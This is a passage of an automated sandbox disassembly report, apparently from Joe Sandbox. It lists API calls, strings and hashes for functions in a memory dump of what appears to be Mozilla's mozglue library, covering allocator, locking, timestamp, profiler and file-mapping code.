Opcode Fuzzy Hash: 788cad68b8c3625e10bb29ce62ed15e454ec543c5bcc6326eeb7047f410f046a
Instruction Fuzzy Hash: B951A435708210DFEB00AB65DC0C7A67BB4EB87328F96071AE915C3F81DBB55844C7AA

Function 6C50D010 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C55E804), ref: 6C50D047
GetSystemInfo.KERNEL32(?), ref: 6C50D093
__Init_thread_footer.LIBCMT ref: 6C50D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C55E810,00000040), ref: 6C50D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7B8,00001388), ref: 6C50D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E744,00001388), ref: 6C50D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E784,00001388), ref: 6C50D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7DC,00001388), ref: 6C50D1B1

Strings

MALLOC_OPTIONS, xrefs: 6C50D0CB
<jemalloc>, xrefs: 6C50D268, 6C50D311
QzO/, xrefs: 6C50D019
MOZ_CRASH(), xrefs: 6C50D277
: (malloc) Unsupported character in malloc options: ', xrefs: 6C50D322
Compile-time page size does not divide the runtime one., xrefs: 6C50D26D

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$QzO/
API String ID: 2957312145-473262897
Opcode ID: a8ae44262fb37e5427d5ebbb1feda53d43522414d63b99af7e61593a6838558a
Instruction ID: ad6426bf259c87df681dd460a3b5fcb575defc0667717e2f4c610bc012407c9b
Opcode Fuzzy Hash: a8ae44262fb37e5427d5ebbb1feda53d43522414d63b99af7e61593a6838558a
Instruction Fuzzy Hash: 7A811370B042419FEB00DF68CD54B697BF4EB46308F96052AE901D7F80EBB9A805CBD9

Function 6C4E7FD0 Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C4E8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C4E801D

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C4E802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C4E803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C4E808D

Part of subcall function 6C4ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C4ECAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C4E809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C4E80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C4E80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4E80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4E80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4E810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C4E8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C4E8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C4E8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C4E817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4E8199

Strings

QzO/, xrefs: 6C4E7FDC
0>Ql, xrefs: 6C4E811E

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>Ql$QzO/
API String ID: 2721933968-506766040
Opcode ID: 41c7cd0b2a3ea76db92db0ea6bebf9339b53569ac5702cf29e88fa6a573d73e8
Instruction ID: 89e085a994dafa142ffc40a84774b79003cff7a337f4b896889fff570ef251c0
Opcode Fuzzy Hash: 41c7cd0b2a3ea76db92db0ea6bebf9339b53569ac5702cf29e88fa6a573d73e8
Instruction Fuzzy Hash: C75172B1E002149BDF00DBA9DC84EAFBBB9AF89265F154129E815E7741E730ED05CBA1

Function 6C4E5E60 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4E5E9D

Part of subcall function 6C4F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B85
Part of subcall function 6C4F5B50: EnterCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B90
Part of subcall function 6C4F5B50: LeaveCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5BD8
Part of subcall function 6C4F5B50: GetTickCount64.KERNEL32 ref: 6C4F5BE4

GetCurrentThreadId.KERNEL32 ref: 6C4E5EAB
GetCurrentThreadId.KERNEL32 ref: 6C4E5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4E5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C4E6017

Part of subcall function 6C4D4310: moz_xmalloc.MOZGLUE(00000010,?,6C4D42D2), ref: 6C4D436A
Part of subcall function 6C4D4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C4D42D2), ref: 6C4D4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C4E5F47
GetCurrentProcess.KERNEL32 ref: 6C4E5F53
GetCurrentThread.KERNEL32 ref: 6C4E5F5C
GetCurrentProcess.KERNEL32 ref: 6C4E5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C4E5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C4E5F27

Part of subcall function 6C4ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C4ECAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4E55E1), ref: 6C4E5E8C

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4E55E1), ref: 6C4E605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4E55E1), ref: 6C4E60CC

Strings

QzO/, xrefs: 6C4E5E70
GeckoMain, xrefs: 6C4E5ECE, 6C4E6015

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain$QzO/
API String ID: 3711609982-798362531
Opcode ID: fab43d08a1b839bae9bb051207ebaa0f59e9c69f5fdc3ee2840d921de1797908
Instruction ID: dde8e83f1fcd86cecbf95675bc4b111d03995ff203afee0a47e7edfe99234071
Opcode Fuzzy Hash: fab43d08a1b839bae9bb051207ebaa0f59e9c69f5fdc3ee2840d921de1797908
Instruction Fuzzy Hash: 8E719EB0604740DFD700DF28C880E6ABBF0BF9A305F554A6DE98687B52D771E948CB92

Function 6C52D840 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C52D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D918
GetCurrentThreadId.KERNEL32 ref: 6C52D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D970
GetCurrentThreadId.KERNEL32 ref: 6C52D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C52DA2E
GetCurrentThreadId.KERNEL32 ref: 6C52DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C52DA91

Part of subcall function 6C4F5C50: GetTickCount64.KERNEL32 ref: 6C4F5D40
Part of subcall function 6C4F5C50: EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F5D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52DAB7

Strings

QzO/, xrefs: 6C52D84E, 6C52DA4E

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID: QzO/
API String ID: 1195625958-117776061
Opcode ID: f4d3d21c9b26f589f5440881eb0881fa4221e0f2151b8c4934cfefdc83a26d75
Instruction ID: 8916d7fd69cbeb8d37a59bf9f06ae8ea45d4a3753c4ad7a5e9a6f24e443f89ba
Opcode Fuzzy Hash: f4d3d21c9b26f589f5440881eb0881fa4221e0f2151b8c4934cfefdc83a26d75
Instruction Fuzzy Hash: 1F71DF35604304DFCB00DF29C888B9ABBF5FF89314F59856EE85A9B341DB34A844CB95

Function 6C4E9590 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4D31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C4D3217
Part of subcall function 6C4D31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C4D3236
Part of subcall function 6C4D31C0: FreeLibrary.KERNEL32 ref: 6C4D324B
Part of subcall function 6C4D31C0: __Init_thread_footer.LIBCMT ref: 6C4D3260
Part of subcall function 6C4D31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C4D327F
Part of subcall function 6C4D31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4D328E
Part of subcall function 6C4D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4D32AB
Part of subcall function 6C4D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4D32D1
Part of subcall function 6C4D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C4D32E5
Part of subcall function 6C4D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C4D32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C4E9675
__Init_thread_footer.LIBCMT ref: 6C4E9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C4E96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C4E9707
__Init_thread_footer.LIBCMT ref: 6C4E971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4E9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C4E97B7
FreeLibrary.KERNEL32 ref: 6C4E97D0
FreeLibrary.KERNEL32 ref: 6C4E97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4E9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C4E9670
NtMapViewOfSection, xrefs: 6C4E9701
ntdll.dll, xrefs: 6C4E96E3
QzO/, xrefs: 6C4E959E, 6C4E9632
MapViewOfFileNuma2, xrefs: 6C4E97B1

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$QzO/$ntdll.dll
API String ID: 3361784254-1028981012
Opcode ID: f3818374af92cfee833505f53ddb692b572c89edf5fd021dd37ac9afc35d3683
Instruction ID: 47ce4f42ec0c078042cb29ecf1f06401fed4c9443e6af6960a62abd1ff9e295d
Opcode Fuzzy Hash: f3818374af92cfee833505f53ddb692b572c89edf5fd021dd37ac9afc35d3683
Instruction Fuzzy Hash: D361E371B00201EFDF00DF69DC88F9A7BB4EB4A316F924229E91693780D731A858CB95

Function 6C52D4D0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C52D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D52A
GetCurrentThreadId.KERNEL32 ref: 6C52D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D55F
free.MOZGLUE(00000000), ref: 6C52D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C52D5D3
GetCurrentThreadId.KERNEL32 ref: 6C52D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D652
GetCurrentThreadId.KERNEL32 ref: 6C52D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C52D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52D6A2

Strings

QzO/, xrefs: 6C52D4E1, 6C52D5EE

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID: QzO/
API String ID: 2206442479-117776061
Opcode ID: e601c92e9fe3f35f134f354ec6b9a79d4e82a6ed650940fe6fc3e3774757ca72
Instruction ID: 69f038ba679c794bb081c930b888cd97b4f0bc76348e35c3014c58d019c7716f
Opcode Fuzzy Hash: e601c92e9fe3f35f134f354ec6b9a79d4e82a6ed650940fe6fc3e3774757ca72
Instruction Fuzzy Hash: CA519A71A04705DFC704DF35C888A9ABBF4FF89318F418A2EE84A87751EB34A845CB95

Function 6C536660 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C55F618), ref: 6C536694
GetThreadId.KERNEL32(?), ref: 6C5366B1
GetCurrentThreadId.KERNEL32 ref: 6C5366B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C5366E1
EnterCriticalSection.KERNEL32(6C55F618), ref: 6C536734
GetCurrentProcess.KERNEL32 ref: 6C53673A
LeaveCriticalSection.KERNEL32(6C55F618), ref: 6C53676C
GetCurrentThread.KERNEL32 ref: 6C5367FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C536868
RtlCaptureContext.NTDLL ref: 6C53687F

Strings

WalkStack64, xrefs: 6C536890
QzO/, xrefs: 6C536678

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: QzO/$WalkStack64
API String ID: 2357170935-1333306874
Opcode ID: 538c07907c586324a2f63a8d37cb20175f8d7096d3b8737add233d5c82d5b250
Instruction ID: 11469bbbd3b68dd6175c17ff3736780095ca8f9000ecd9ad94a2cd8fc4864b30
Opcode Fuzzy Hash: 538c07907c586324a2f63a8d37cb20175f8d7096d3b8737add233d5c82d5b250
Instruction Fuzzy Hash: 5E51CB71A09310AFDB11DF24CC48B5ABBF4BF89714F44492DF99887640EBB0E8088B92

Function 6C51DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51DE73
GetCurrentThreadId.KERNEL32 ref: 6C51DF7D
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51DF8A
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51DFC9
GetCurrentThreadId.KERNEL32 ref: 6C51DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C4E4A68), ref: 6C51DE7B

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C4E4A68), ref: 6C51DEB8
free.MOZGLUE(00000000,?,6C4E4A68), ref: 6C51DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C51DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C51DE83
<none>, xrefs: 6C51DFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C51E00E

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 45a3ca69d39c5f93f90708d31dde6918dbf2ad04fd1dbd4990064904bcb0fbbb
Instruction ID: 256bd6afa5caf229f38b6bfb87e0c8d251b55abe561817ac6a8b1b33e2bbbe54
Opcode Fuzzy Hash: 45a3ca69d39c5f93f90708d31dde6918dbf2ad04fd1dbd4990064904bcb0fbbb
Instruction Fuzzy Hash: 24411335B05210DBEB11AF64DC0CBAABB75EB8230CF850219E90997F41DB719D05CBEA

Function 6C4F5670 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C4F56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4F56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C4F56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C4F5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C4F57BC
GetTickCount64.KERNEL32 ref: 6C4F58CB
EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F58F3
__aulldiv.LIBCMT ref: 6C4F5945
LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4F59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C55F638,?,?,?,?), ref: 6C4F59E9

Strings

QzO/, xrefs: 6C4F567F
MOZ_APP_RESTART, xrefs: 6C4F56CC

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART$QzO/
API String ID: 2752551254-623831797
Opcode ID: 59a8252c102372999f75276bb9520fd4b900e7e7d3d9b84e92812bd4e93fdc58
Instruction ID: 1f81bec8ea9434231b4946615ded6c2377a8b8f80fa253094258920f316f5e88
Opcode Fuzzy Hash: 59a8252c102372999f75276bb9520fd4b900e7e7d3d9b84e92812bd4e93fdc58
Instruction Fuzzy Hash: 6FC17E71A097409FD705CF28C840A6ABBF1BFCA714F568B1DE8D497760D730A986CB86

Function 6C4D1E90 Relevance: 21.1, APIs: 9, Strings: 5, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4D1EC1
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4D1EE1
EnterCriticalSection.KERNEL32(6C55E744), ref: 6C4D1F38
LeaveCriticalSection.KERNEL32(6C55E744), ref: 6C4D1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C4D1F83
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4D1FC0
EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4D1FE2
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4D1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4D2019

Strings

QzO/, xrefs: 6C4D1E9C
MOZ_CRASH(), xrefs: 6C4D2000
DUl, xrefs: 6C4D1F32
DUl, xrefs: 6C4D1F56
\Ul, xrefs: 6C4D1F3E

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: DUl$DUl$MOZ_CRASH()$QzO/$\Ul
API String ID: 2055633661-1893898060
Opcode ID: a6914839e1b2a54c82352d206214396283bb29b3b4aaa1781c2957edc58b1ff1
Instruction ID: d366c1acbd2f46e2021185ea03c973e8368adda1a51b709d76b7704d6962875d
Opcode Fuzzy Hash: a6914839e1b2a54c82352d206214396283bb29b3b4aaa1781c2957edc58b1ff1
Instruction Fuzzy Hash: C541D471B043558FDF01EFA8CC98F6A36B5EB4A318F46012AED05D7741DBB5A8048BD6

Function 6C53AC20 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C53AC52
CreateFileMappingW.KERNEL32 ref: 6C53AC7D
GetSystemInfo.KERNEL32 ref: 6C53AC98
MapViewOfFile.KERNEL32 ref: 6C53ACB0
GetSystemInfo.KERNEL32 ref: 6C53ACCD
MapViewOfFile.KERNEL32 ref: 6C53AD05
